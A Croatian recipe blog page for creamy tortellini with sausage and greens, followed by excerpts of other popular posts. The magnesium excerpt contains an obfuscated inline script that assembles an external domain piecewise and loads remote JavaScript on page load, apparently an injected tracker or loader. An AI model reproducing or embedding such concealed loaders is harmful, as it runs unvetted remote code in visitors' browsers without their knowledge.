TORTELINI S KOBASICOM I LISNATIM POVRĆEM




Tortelini s kobasicom i lisnatim povrćem 



Tajna brzih i jednostavnih obroka tijekom radnog tjedna leži u jednoj namirnici koju je uvijek dobro imati u hladnjaku ili zamrzivaču — kupovnim tortelinima. U ovom receptu pikantno meso kobasice prži se do zlatno-smeđe boje, a češnjak i ruzmarin donose finu aromu. Malo slatkog vrhnja i parmezana stvaraju bogati, kremasti umak koji poprima sve aromatične sokove s dna lonca.




Tortelini s kobasicom i lisnatim povrćem 


Sastojci (za 4 porcije)


  • 550 g svježih tortelina punjenih sirom (iz hladnjaka)


  • 1 žlica maslinovog ulja


  • 225 g svježe pečenice ili talijanske kobasice (oguljene iz ovitka)


  • 1 žlica sitno nasjeckanog češnjaka (oko 3 češnja)


  • 2 žličice sitno nasjeckanog svježeg ruzmarina (plus još malo za posluživanje)


  • ¼ žličice svježe mljevenog crnog papra (plus još malo za posluživanje)


  • 120 ml slatkog vrhnja za kuhanje


  • 40 g (1 šalica) naribanog parmezana (plus još malo za posluživanje)


  • 8 šalica nasjeckanog svježeg špinata, kelja ili endivije


  • ¼ žličice krupne soli




Priprema:

Skuhajte torteline u velikom loncu kipuće slane vode prema uputama na pakiranju, a zatim ih ocijedite.

U međuvremenu, zagrijte maslinovo ulje u velikom dubokom loncu ili tavi na srednje jakoj vatri. Kobasicu usitnite na manje komade i dodajte u lonac. Pržite uz povremeno miješanje oko 4 do 6 minuta, dok meso lijepo ne porumeni.

U lonac dodajte češnjak, ruzmarin i papar. Kuhajte oko 2 minute uz povremeno miješanje, razbijajući meso drvenom kuhačom. Ulijte vrhnje za kuhanje i dodajte parmezan. Kuhajte oko 1 minutu stalno miješajući i stružući drvenom kuhačom zapečene dijelove s dna lonca, dok se umak lagano ne zgusne.

Umiješajte pripremljeno zelenilo (špinat, kelj ili endiviju) i miješajte oko 1 minutu dok ne počne uvenuti.

Maknite lonac s vatre, dodajte sol i kuhane torteline te sve dobro miješajte oko 30 sekundi dok se pašta u potpunosti ne obloži kremastim umakom. Poslužite toplo, posuto s još malo parmezana, svježeg ruzmarina i mljevenog papra.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više